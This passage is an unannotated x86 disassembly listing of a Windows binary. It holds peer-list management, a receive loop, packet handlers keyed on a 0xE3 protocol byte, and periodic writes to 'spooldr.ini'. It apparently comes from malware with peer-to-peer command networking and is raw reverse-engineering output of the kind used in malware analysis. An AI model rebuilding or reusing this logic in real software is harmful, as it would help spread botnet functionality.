... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_4] push edi mov edi, [esp+8+arg_0] jmp short loc_40B119 ; --------------------------------------------------------------------------- loc_40B10F: ; CODE XREF: sub_40B103+18j push [esp+8+arg_8] call ds:dword_4180C8 loc_40B119: ; CODE XREF: sub_40B103+Aj cmp [edi], esi jg short loc_40B10F pop edi pop esi retn 0Ch sub_40B103 endp ; =============== S U B R O U T I N E ======================================= sub_40B122 proc near ; CODE XREF: sub_40B199+Cp push esi mov esi, ecx push esi call ds:dword_4180D4 xor eax, eax mov [esi+11Ch], eax push 100h push eax mov [esi+118h], eax lea eax, [esi+18h] push eax call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_40B122 endp ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_4015F3+Fp ; sub_401E21+17p ... push ebx push esi mov esi, ecx push 0FFFFFFFFh push dword ptr [esi] call ds:dword_4180B8 push dword ptr [esi] mov ebx, eax neg ebx sbb bl, bl inc bl call ds:dword_4180A4 pop esi mov al, bl pop ebx retn sub_40B150 endp ; =============== S U B R O U T I N E ======================================= sub_40B173 proc near ; DATA XREF: sub_40B36C+1Do ; sub_40B3A7+1Bo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] mov ecx, [eax+8] mov edx, [eax+10h] push edi mov edi, [eax+14h] push dword ptr [esi+4] add ecx, edi call edx push esi call sub_40D0B6 pop ecx pop edi xor eax, eax pop esi retn 4 sub_40B173 endp ; =============== S U B R O U T I N E ======================================= sub_40B199 proc near ; CODE XREF: sub_40B8DC+14p ; sub_40B9D7+14p ... push esi mov esi, ecx lea ecx, [esi+4] mov dword ptr [esi], offset off_41C15C call sub_40B122 push 0 lea ecx, [esi+124h] call sub_40AFDC mov eax, esi pop esi retn sub_40B199 endp ; =============== S U B R O U T I N E ======================================= sub_40B1BB proc near ; DATA XREF: .rdata:0041C160o push 0 push 1 push dword ptr [ecx+124h] call ds:dword_418064 retn sub_40B1BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1CC proc near ; DATA XREF: sub_40B51B+11o var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, ecx lea ecx, [ebp+var_C] call sub_40DD7C mov esi, [ebp+arg_0] push 5 push dword ptr [esi+8] lea ecx, [ebp+var_C] push dword ptr [esi] call sub_40123F test eax, eax jle short loc_40B214 push 0 push 1 lea eax, [ebp+arg_0+3] push eax lea ecx, [ebp+var_C] mov byte ptr [ebp+arg_0+3], 0 call sub_40DDB5 push dword ptr [esi+4] mov ecx, edi push dword ptr [esi] call sub_40A687 loc_40B214: ; CODE XREF: sub_40B1CC+26j push dword ptr [esi+0Ch] call sub_40D0B6 push esi call sub_40D0B6 pop ecx pop ecx lea ecx, [ebp+var_C] call sub_40DD92 pop edi pop esi leave retn 4 sub_40B1CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B232 proc near ; CODE XREF: sub_40B41F+34p ; DATA XREF: .rdata:0041C194o var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_4] mov esi, ecx push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_401219 push [ebp+arg_C] mov ecx, esi push [ebp+arg_8] call sub_40AFFA lea edi, [esi+0ACh] push edi call ds:dword_4180DC push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+arg_C] lea ecx, [esi+0A0h] push [ebp+arg_8] call sub_40D83F push edi mov ebx, eax call ds:dword_4180E0 push [ebp+arg_C] mov ecx, esi push [ebp+arg_8] call sub_40AFFA pop edi pop esi mov eax, ebx pop ebx leave retn 10h sub_40B232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B29D proc near ; DATA XREF: sub_40BFB2+68o var_34 = word ptr -34h var_24 = word ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push esi mov esi, ecx lea ecx, [ebp+var_14] mov [ebp+var_8], esi call sub_40DD7C movzx eax, word ptr [esi+14h] push 0 push eax lea ecx, [ebp+var_14] call sub_40DA80 cmp eax, 0FFFFFFFFh lea ecx, [ebp+var_14] jnz short loc_40B2D2 call sub_40DD92 jmp loc_40B367 ; --------------------------------------------------------------------------- loc_40B2D2: ; CODE XREF: sub_40B29D+29j push ebx push 7FFFFFFFh call sub_40D793 mov eax, [ebp+arg_0] mov ebx, ds:dword_4180B0 push 1 push 0 push dword ptr [eax] call ebx test eax, eax jz short loc_40B35E push edi push 10h pop edi loc_40B2F6: ; CODE XREF: sub_40B29D+86j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_34] push eax push 1 lea ecx, [ebp+var_14] mov [ebp+var_34], 2 mov [ebp+var_4], edi call sub_40DF85 mov esi, eax test esi, esi jnz short loc_40B327 push 1 push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ebx test eax, eax jnz short loc_40B2F6 jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B327: ; CODE XREF: sub_40B29D+78j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax mov ecx, esi mov [ebp+var_24], 2 mov [ebp+var_4], edi call sub_40D94F push [ebp+var_20] call ds:dword_4181B0 mov ecx, [ebp+var_8] mov [ecx+0Ch], eax mov byte ptr [ecx+0E8h], 1 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_40B35D: ; CODE XREF: sub_40B29D+88j pop edi loc_40B35E: ; CODE XREF: sub_40B29D+53j lea ecx, [ebp+var_14] call sub_40DD92 pop ebx loc_40B367: ; CODE XREF: sub_40B29D+30j pop esi leave retn 4 sub_40B29D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B36C proc near ; CODE XREF: sub_40B51B+4Ap ; sub_40BD87+16Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [ebp+arg_0] mov [eax+4], ecx lea ecx, [ebp+var_4] push ecx xor ecx, ecx push ecx push eax push offset sub_40B173 push ecx push ecx mov [eax], esi call ds:dword_4180BC push eax call ds:dword_4180A4 mov eax, [ebp+var_4] pop esi leave retn 4 sub_40B36C endp ; =============== S U B R O U T I N E ======================================= sub_40B3A7 proc near ; CODE XREF: sub_405675+A1p ; sub_4058DF+C9p ... arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] mov [eax+4], ecx xor ecx, ecx lea edi, [esi+4] push edi push ecx push eax push offset sub_40B173 push ecx push ecx mov [eax], esi call ds:dword_4180BC mov [esi], eax mov eax, [edi] pop edi pop esi retn 4 sub_40B3A7 endp ; =============== S U B R O U T I N E ======================================= sub_40B3DA proc near ; CODE XREF: sub_40BFB2+17Fp arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] lea edi, [esi+4] push edi push 4 push eax push offset sub_40B173 push 0 push 0 mov [eax], esi mov [eax+4], ecx call ds:dword_4180BC push 0FFFFFFF1h push eax mov [esi], eax call ds:dword_4180C4 push dword ptr [esi] call ds:dword_4180C0 mov eax, [edi] pop edi pop esi retn 4 sub_40B3DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B41F proc near ; CODE XREF: sub_40B7B1+3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx cmp dword ptr [esi+8Ch], 0 push edi mov dword ptr [esi], offset off_41C18C mov dword ptr [esi+68h], offset off_41C164 jz short loc_40B463 push 4 lea eax, [ebp+var_4] push eax push dword ptr [esi+10h] mov [ebp+var_4], 74BE2A5Dh push 7F000001h call sub_40B232 lea ecx, [esi+88h] call sub_40B150 loc_40B463: ; CODE XREF: sub_40B41F+1Dj cmp dword ptr [esi+74h], 0 jz short loc_40B47A push dword ptr [esi+6Ch] call ds:dword_4180A8 lea ecx, [esi+70h] call sub_40B150 loc_40B47A: ; CODE XREF: sub_40B41F+48j lea eax, [esi+0D0h] push eax call ds:dword_4180DC lea ebx, [esi+0C8h] mov edi, [ebx] jmp short loc_40B4AB ; --------------------------------------------------------------------------- loc_40B491: ; CODE XREF: sub_40B41F+8Ej mov eax, [edi] push eax call sub_40D0B6 mov eax, [edi+4] pop ecx push edi mov ecx, ebx mov [ebp+var_4], eax call sub_4041B2 mov edi, [ebp+var_4] loc_40B4AB: ; CODE XREF: sub_40B41F+70j test edi, edi jnz short loc_40B491 lea edi, [esi+0D0h] push edi call ds:dword_4180E0 push edi mov edi, ds:dword_4180D8 call edi lea eax, [esi+0ACh] push eax call edi lea ecx, [esi+0A0h] mov dword ptr [ecx], offset off_41C128 call sub_40DA75 push dword ptr [esi+6Ch] call ds:dword_4180A4 mov ecx, esi call sub_40A48A pop edi pop esi pop ebx leave retn sub_40B41F endp ; =============== S U B R O U T I N E ======================================= sub_40B4F4 proc near ; DATA XREF: .rdata:0041C174o mov al, [ecx+80h] retn sub_40B4F4 endp ; =============== S U B R O U T I N E ======================================= sub_40B4FB proc near ; DATA XREF: .rdata:0041C178o mov eax, [ecx-60h] retn sub_40B4FB endp ; =============== S U B R O U T I N E ======================================= sub_40B4FF proc near ; DATA XREF: .rdata:0041C17Co lea eax, [ecx-50h] retn sub_40B4FF endp ; =============== S U B R O U T I N E ======================================= sub_40B503 proc near ; DATA XREF: .rdata:0041C180o mov eax, [ecx-58h] retn sub_40B503 endp ; =============== S U B R O U T I N E ======================================= sub_40B507 proc near ; DATA XREF: .rdata:0041C184o mov eax, [ecx-54h] retn sub_40B507 endp ; =============== S U B R O U T I N E ======================================= sub_40B50B proc near ; DATA XREF: .rdata:0041C168o add ecx, 0FFFFFF98h jz short locret_40B516 mov eax, [ecx] push 1 call dword ptr [eax] locret_40B516: ; CODE XREF: sub_40B50B+3j retn sub_40B50B endp ; =============== S U B R O U T I N E ======================================= sub_40B517 proc near ; DATA XREF: .rdata:0041C188o mov eax, [ecx-3Ch] retn sub_40B517 endp ; =============== S U B R O U T I N E ======================================= sub_40B51B proc near ; DATA XREF: .rdata:0041C190o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push 18h mov esi, ecx call sub_40D0BB xor edx, edx cmp eax, edx pop ecx jz short loc_40B541 mov ecx, offset sub_40B1CC mov [eax+8], esi mov [eax+10h], ecx mov [eax+14h], edx mov [eax+4], edx mov esi, eax jmp short loc_40B543 ; --------------------------------------------------------------------------- loc_40B541: ; CODE XREF: sub_40B51B+Fj xor esi, esi loc_40B543: ; CODE XREF: sub_40B51B+24j push 10h call sub_40D0BB pop ecx mov ecx, [esp+4+arg_0] mov [eax], ecx mov ecx, [esp+4+arg_4] mov [eax+4], ecx mov ecx, [esp+4+arg_8] mov [eax+8], ecx push eax mov ecx, esi mov [eax+0Ch], esi call sub_40B36C pop esi retn 0Ch sub_40B51B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56E proc near ; DATA XREF: sub_40BBB5+A5o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_8], 0 push ebx push 1 mov ebx, ecx push 64h push dword ptr [ebx+6Ch] call ds:dword_4180B0 test eax, eax jz loc_40B66D push esi push edi lea esi, [ebx+30h] loc_40B599: ; CODE XREF: sub_40B56E+F7j push 0 mov [ebp+var_C], 40h call sub_40CFAE pop ecx push esi mov [ebp+var_10], eax call ds:dword_4180DC mov edi, [ebx+28h] jmp short loc_40B60A ; --------------------------------------------------------------------------- loc_40B5B7: ; CODE XREF: sub_40B56E+9Ej mov esi, [edi] mov eax, [esi+18h] mov edx, [ebp+var_10] add eax, 0Ah cmp edx, eax jle short loc_40B5FF cmp byte ptr [esi+1Dh], 0 mov al, [esi+1Ch] jz short loc_40B5D3 cmp al, 3 jmp short loc_40B5D5 ; --------------------------------------------------------------------------- loc_40B5D3: ; CODE XREF: sub_40B56E+5Fj cmp al, 2 loc_40B5D5: ; CODE XREF: sub_40B56E+63j setb cl inc al test cl, cl mov [esi+1Ch], al jz loc_40B672 push dword ptr [esi+14h] mov ecx, ebx push dword ptr [esi+10h] mov [esi+18h], edx call sub_40A639 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40B60E loc_40B5FF: ; CODE XREF: sub_40B56E+56j test edi, edi jz short loc_40B60E mov edi, [edi+4] test edi, edi jz short loc_40B60E loc_40B60A: ; CODE XREF: sub_40B56E+47j ; sub_40B56E+120j test edi, edi jnz short loc_40B5B7 loc_40B60E: ; CODE XREF: sub_40B56E+8Fj ; sub_40B56E+93j ... mov eax, [ebp+var_4] dec [ebp+var_4] test eax, eax jnz short loc_40B627 lea ecx, [ebx+48h] mov [ebp+var_4], 96h call sub_409C8E loc_40B627: ; CODE XREF: sub_40B56E+A8j mov eax, [ebp+var_8] dec [ebp+var_8] test eax, eax jnz short loc_40B64C lea eax, [ebx+28h] push eax push offset aSpooldr_ini_0 ; "spooldr.ini" lea ecx, [ebx+0C4h] mov [ebp+var_8], 384h call sub_4099EF loc_40B64C: ; CODE XREF: sub_40B56E+C1j lea esi, [ebx+30h] push esi call ds:dword_4180E0 push 1 push 64h push dword ptr [ebx+6Ch] call ds:dword_4180B0 test eax, eax jnz loc_40B599 pop edi pop esi loc_40B66D: ; CODE XREF: sub_40B56E+20j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40B672: ; CODE XREF: sub_40B56E+71j mov ecx, esi call nullsub_1 push esi call sub_40D0B6 mov esi, [edi+4] pop ecx push edi lea ecx, [ebx+28h] call sub_4041B2 mov edi, esi jmp loc_40B60A sub_40B56E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B693 proc near ; CODE XREF: sub_40B8DC+98p ; sub_40B9D7+A2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx lea eax, [esi+0D0h] push edi push eax mov [ebp+var_4], eax call ds:dword_4180DC lea edi, [esi+0C8h] mov esi, [edi] jmp short loc_40B6CE ; --------------------------------------------------------------------------- loc_40B6B6: ; CODE XREF: sub_40B693+3Dj mov eax, [esi] mov ecx, [ebp+arg_0] cmp ecx, [eax] jnz short loc_40B6C7 mov ecx, [ebp+arg_4] cmp ecx, [eax+4] jz short loc_40B6D6 loc_40B6C7: ; CODE XREF: sub_40B693+2Aj test esi, esi jz short loc_40B6D2 mov esi, [esi+4] loc_40B6CE: ; CODE XREF: sub_40B693+21j test esi, esi jnz short loc_40B6B6 loc_40B6D2: ; CODE XREF: sub_40B693+36j xor bl, bl jmp short loc_40B6E7 ; --------------------------------------------------------------------------- loc_40B6D6: ; CODE XREF: sub_40B693+32j push eax call sub_40D0B6 pop ecx push esi mov ecx, edi call sub_4041B2 mov bl, 1 loc_40B6E7: ; CODE XREF: sub_40B693+41j push [ebp+var_4] call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx leave retn 8 sub_40B693 endp ; =============== S U B R O U T I N E ======================================= sub_40B6F9 proc near ; CODE XREF: sub_40BD87+1C1p ; sub_40BFB2+152p ... push esi push edi mov esi, ecx lea edi, [esi+0D0h] push edi call ds:dword_4180DC mov esi, [esi+0C8h] jmp short loc_40B723 ; --------------------------------------------------------------------------- loc_40B712: ; CODE XREF: sub_40B6F9+2Cj mov eax, [esi] mov ecx, [eax+8] mov eax, [ecx] call dword ptr [eax+4] test esi, esi jz short loc_40B727 mov esi, [esi+4] loc_40B723: ; CODE XREF: sub_40B6F9+17j test esi, esi jnz short loc_40B712 loc_40B727: ; CODE XREF: sub_40B6F9+25j push edi call ds:dword_4180E0 pop edi pop esi retn sub_40B6F9 endp ; =============== S U B R O U T I N E ======================================= sub_40B731 proc near ; CODE XREF: sub_40B7CD+61p ; sub_40B879+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [ecx+0C8h] jmp short loc_40B753 ; --------------------------------------------------------------------------- loc_40B739: ; CODE XREF: sub_40B731+24j mov eax, [ecx] mov edx, [esp+arg_0] cmp edx, [eax] jnz short loc_40B74C mov edx, [esp+arg_4] cmp edx, [eax+4] jz short locret_40B759 loc_40B74C: ; CODE XREF: sub_40B731+10j test ecx, ecx jz short loc_40B757 mov ecx, [ecx+4] loc_40B753: ; CODE XREF: sub_40B731+6j test ecx, ecx jnz short loc_40B739 loc_40B757: ; CODE XREF: sub_40B731+1Dj xor eax, eax locret_40B759: ; CODE XREF: sub_40B731+19j retn 8 sub_40B731 endp ; =============== S U B R O U T I N E ======================================= sub_40B75C proc near ; CODE XREF: sub_40B787+Fp push esi mov esi, ecx jmp short loc_40B775 ; --------------------------------------------------------------------------- loc_40B761: ; CODE XREF: sub_40B75C+27j mov ecx, esi call sub_40A026 test eax, eax jz short loc_40B775 push 1 mov ecx, eax call sub_409FC4 loc_40B775: ; CODE XREF: sub_40B75C+3j ; sub_40B75C+Ej mov eax, [esi+118h] mov ecx, [esi+11Ch] cmp eax, ecx jnz short loc_40B761 pop esi retn sub_40B75C endp ; =============== S U B R O U T I N E ======================================= sub_40B787 proc near ; CODE XREF: sub_40B8DC+B3p ; sub_40B9D7+BDp ... push esi mov esi, ecx push edi lea edi, [esi+4] mov ecx, edi mov dword ptr [esi], offset off_41C15C call sub_40B75C push dword ptr [esi+124h] call ds:dword_4180A4 push edi call ds:dword_4180D8 pop edi pop esi retn sub_40B787 endp ; =============== S U B R O U T I N E ======================================= sub_40B7B1 proc near ; DATA XREF: .rdata:off_41C18Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40B41F test [esp+4+arg_0], 1 jz short loc_40B7C7 push esi call sub_40D0B6 pop ecx loc_40B7C7: ; CODE XREF: sub_40B7B1+Dj mov eax, esi pop esi retn 4 sub_40B7B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7CD proc near ; DATA XREF: sub_40BBB5+86o var_20C = dword ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov edi, ds:dword_4180E0 mov ebx, ecx loc_40B7E1: ; CODE XREF: sub_40B7CD+39j ; sub_40B7CD+84j ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push 0FFFFh push 200h lea eax, [ebp+var_20C] push eax mov ecx, ebx call sub_40B016 test eax, eax mov [ebp+var_8], eax jle short loc_40B7E1 cmp eax, 4 jnz short loc_40B819 cmp [ebp+var_20C], 74BE2A5Dh jz short loc_40B872 loc_40B819: ; CODE XREF: sub_40B7CD+3Ej lea esi, [ebx+0D0h] push esi call ds:dword_4180DC push [ebp+var_C] mov ecx, ebx push [ebp+var_4] call sub_40B731 test eax, eax jnz short loc_40B853 push esi call edi push [ebp+var_8] lea eax, [ebp+var_20C] push eax push [ebp+var_C] mov ecx, ebx push [ebp+var_4] call sub_40AEE0 jmp short loc_40B7E1 ; --------------------------------------------------------------------------- loc_40B853: ; CODE XREF: sub_40B7CD+68j push [ebp+var_C] mov ecx, [eax+8] push [ebp+var_4] mov eax, [ecx] push [ebp+var_8] lea edx, [ebp+var_20C] push edx call dword ptr [eax] push esi call edi jmp loc_40B7E1 ; --------------------------------------------------------------------------- loc_40B872: ; CODE XREF: sub_40B7CD+4Aj pop edi pop esi pop ebx leave retn 4 sub_40B7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B879 proc near ; CODE XREF: sub_40B8DC+2Ap ; sub_40B9D7+2Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx lea eax, [esi+0D0h] push edi push eax mov [ebp+var_4], eax call ds:dword_4180DC mov edi, [ebp+arg_4] mov ebx, [ebp+arg_0] push edi push ebx mov ecx, esi call sub_40B731 test eax, eax jnz short loc_40B8D8 push 0Ch call sub_40D0BB pop ecx mov ecx, [ebp+arg_8] mov [eax+8], ecx push eax lea ecx, [esi+0C8h] mov [eax], ebx mov [eax+4], edi call sub_4151CB mov bl, 1 loc_40B8C6: ; CODE XREF: sub_40B879+61j push [ebp+var_4] call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40B8D8: ; CODE XREF: sub_40B879+2Aj xor bl, bl jmp short loc_40B8C6 sub_40B879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8DC proc near ; DATA XREF: sub_40C149+6Ao var_128 = byte ptr -128h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi mov ebx, ecx push edi lea ecx, [ebp+var_128] call sub_40B199 mov esi, [ebp+arg_0] lea eax, [ebp+var_128] push eax push dword ptr [esi+4] mov ecx, ebx push dword ptr [esi] call sub_40B879 push dword ptr [esi+0Ch] mov ecx, ebx push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] call sub_40A791 jmp loc_40B9BE ; --------------------------------------------------------------------------- loc_40B922: ; CODE XREF: sub_40B8DC+F3j mov eax, [edi] cmp byte ptr [eax], 0E3h jnz loc_40B9B5 movzx ecx, byte ptr [eax+1] sub ecx, 0Bh jz short loc_40B9AA dec ecx dec ecx jz short loc_40B99B sub ecx, 7 jnz short loc_40B9B5 cmp dword ptr [edi+4], 12h jb short loc_40B9B5 add eax, 2 push eax push dword ptr [esi+8] call sub_409EAD test eax, eax pop ecx pop ecx jz short loc_40B9B5 push dword ptr [esi+10h] call ds:dword_4180E4 test edi, edi jz short loc_40B96D push 1 mov ecx, edi call sub_409FC4 loc_40B96D: ; CODE XREF: sub_40B8DC+86j ; sub_40B8DC+F9j push dword ptr [esi+4] mov ecx, ebx push dword ptr [esi] call sub_40B693 push dword ptr [esi+14h] call ds:dword_4180E8 push esi call sub_40D0B6 pop ecx lea ecx, [ebp+var_128] call sub_40B787 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40B99B: ; CODE XREF: sub_40B8DC+5Cj push dword ptr [edi+0Ch] mov ecx, ebx push dword ptr [edi+8] call sub_40A879 jmp short loc_40B9B5 ; --------------------------------------------------------------------------- loc_40B9AA: ; CODE XREF: sub_40B8DC+58j push dword ptr [edi+4] mov ecx, ebx push eax call sub_40A7E2 loc_40B9B5: ; CODE XREF: sub_40B8DC+4Bj ; sub_40B8DC+61j ... push 1 mov ecx, edi call sub_409FC4 loc_40B9BE: ; CODE XREF: sub_40B8DC+41j push 5 lea ecx, [ebp+var_128] call sub_40A0C2 mov edi, eax test edi, edi jnz loc_40B922 jmp short loc_40B96D sub_40B8DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9D7 proc near ; DATA XREF: sub_40BD87+97o var_134 = byte ptr -134h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov [ebp+var_4], ecx push esi lea ecx, [ebp+var_134] call sub_40B199 mov esi, [ebp+arg_0] mov ecx, [ebp+var_4] lea eax, [ebp+var_134] push eax push dword ptr [esi+24h] push dword ptr [esi+20h] call sub_40B879 movzx eax, byte ptr [esi+28h] mov ecx, [ebp+var_4] push esi push eax push dword ptr [esi+24h] push dword ptr [esi+20h] call sub_40A6A8 push 5 lea ecx, [ebp+var_134] call sub_40A0C2 mov ebx, eax test ebx, ebx jz short loc_40BA70 push edi loc_40BA30: ; CODE XREF: sub_40B9D7+1D3j mov eax, [ebx] cmp byte ptr [eax], 0E3h jnz loc_40BB90 movzx ecx, byte ptr [eax+1] sub ecx, 0Bh jz loc_40BB84 push 2 pop edx sub ecx, edx jz loc_40BB74 sub ecx, edx jz short loc_40BAB6 sub ecx, edx jz short loc_40BA9F dec ecx jnz loc_40BB90 loc_40BA62: ; CODE XREF: sub_40B9D7+16Dj ; sub_40B9D7+17Cj test ebx, ebx jz short loc_40BA6F push 1 mov ecx, ebx call sub_409FC4 loc_40BA6F: ; CODE XREF: sub_40B9D7+8Dj ; sub_40B9D7+1D9j pop edi loc_40BA70: ; CODE XREF: sub_40B9D7+56j push dword ptr [esi+24h] mov ecx, [ebp+var_4] push dword ptr [esi+20h] call sub_40B693 push dword ptr [esi+30h] call ds:dword_4180E8 push esi call sub_40D0B6 pop ecx lea ecx, [ebp+var_134] call sub_40B787 pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40BA9F: ; CODE XREF: sub_40B9D7+82j mov ecx, [ebx+4] sub ecx, edx push ecx mov ecx, [esi+3Ch] add eax, 2 push eax call sub_409CF6 jmp loc_40BB90 ; --------------------------------------------------------------------------- loc_40BAB6: ; CODE XREF: sub_40B9D7+7Ej lea edi, [eax+2] push edi push esi call sub_409EAD test eax, eax pop ecx pop ecx jz loc_40BB90 add edi, 10h movzx eax, byte ptr [edi] mov ecx, eax imul ecx, 17h add ecx, 13h inc edi cmp [ebx+4], ecx jnz loc_40BB90 test eax, eax jbe short loc_40BB2E mov [ebp+var_8], eax loc_40BAE9: ; CODE XREF: sub_40B9D7+155j lea eax, [esi+10h] push eax push edi call sub_409EC5 test eax, eax pop ecx pop ecx jz short loc_40BB26 lea eax, [edi+10h] mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax call sub_409735 mov [ebp+var_C], eax lea eax, [ebp+arg_0] push eax call sub_40970B pop ecx pop ecx mov ecx, [esi+34h] movzx eax, ax push eax push [ebp+var_C] push edi call sub_40A3A4 loc_40BB26: ; CODE XREF: sub_40B9D7+120j add edi, 17h dec [ebp+var_8] jnz short loc_40BAE9 loc_40BB2E: ; CODE XREF: sub_40B9D7+10Dj push dword ptr [esi+24h] mov ecx, [esi+38h] push dword ptr [esi+20h] lea eax, [esi+10h] push eax call sub_40A3A4 cmp byte ptr [esi+28h], 2 jnz loc_40BA62 mov eax, [esi+3Ch] mov eax, [eax+4] cmp eax, [esi+2Ch] jnb loc_40BA62 movzx eax, word ptr [esi+2Ch] mov ecx, [ebp+var_4] push eax xor eax, eax push eax push eax push eax push esi push dword ptr [esi+24h] push dword ptr [esi+20h] call sub_40A6EB jmp short loc_40BB90 ; --------------------------------------------------------------------------- loc_40BB74: ; CODE XREF: sub_40B9D7+76j push dword ptr [ebx+0Ch] mov ecx, [ebp+var_4] push dword ptr [ebx+8] call sub_40A879 jmp short loc_40BB90 ; --------------------------------------------------------------------------- loc_40BB84: ; CODE XREF: sub_40B9D7+6Bj push dword ptr [ebx+4] mov ecx, [ebp+var_4] push eax call sub_40A7E2 loc_40BB90: ; CODE XREF: sub_40B9D7+5Ej ; sub_40B9D7+85j ... push 1 mov ecx, ebx call sub_409FC4 push 5 lea ecx, [ebp+var_134] call sub_40A0C2 mov ebx, eax test ebx, ebx jnz loc_40BA30 jmp loc_40BA6F sub_40B9D7 endp ; =============== S U B R O U T I N E ======================================= sub_40BBB5 proc near ; CODE XREF: sub_40BF8E+11p push ebx push esi push edi mov esi, ecx call sub_40A442 mov dword ptr [esi+68h], offset off_41C134 push 1 lea ecx, [esi+6Ch] mov dword ptr [esi], offset off_41C18C mov dword ptr [esi+68h], offset off_41C164 call sub_4012FC xor ebx, ebx xor ecx, ecx mov [esi+84h], ecx xor eax, eax mov [esi+80h], eax mov [esi+78h], ebx mov [esi+74h], ebx mov [esi+9Ch], ecx lea ecx, [esi+0A0h] mov [esi+98h], eax mov [esi+90h], ebx mov [esi+8Ch], ebx call sub_40E0AC mov edi, ds:dword_4180D4 lea eax, [esi+0ACh] push eax call edi lea eax, [esi+0C8h] mov [eax], ebx mov [eax+4], ebx lea eax, [esi+0D0h] push eax call edi mov eax, offset sub_40B7CD mov [esi+98h], eax mov [esi+8Ch], ebx mov [esi+90h], esi xor ecx, ecx mov [esi+9Ch], ecx mov eax, offset sub_40B56E mov [esi+80h], eax pop edi mov [esi+74h], ebx mov [esi+84h], ecx mov [esi+78h], esi mov eax, esi pop esi pop ebx retn sub_40BBB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC77 proc near ; DATA XREF: sub_40BFB2+ADo var_128 = byte ptr -128h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_128] call sub_40B199 mov esi, [ebp+arg_0] lea eax, [ebp+var_128] push eax push dword ptr [esi+4] mov ecx, edi push dword ptr [esi] call sub_40B879 push dword ptr [esi+4] mov ecx, edi push dword ptr [esi] call sub_40A639 jmp loc_40BD6B ; --------------------------------------------------------------------------- loc_40BCB7: ; CODE XREF: sub_40BC77+105j mov eax, [ebx] cmp byte ptr [eax], 0E3h jnz loc_40BD62 movzx ecx, byte ptr [eax+1] sub ecx, 0Bh jz loc_40BD57 dec ecx dec ecx jz short loc_40BD25 sub ecx, 0Fh jnz loc_40BD62 inc eax inc eax mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax call sub_409735 pop ecx push 1 mov ecx, ebx mov [edi+8], eax call sub_409FC4 loc_40BCF7: ; CODE XREF: sub_40BC77+10Bj push dword ptr [esi+4] mov ecx, edi push dword ptr [esi] call 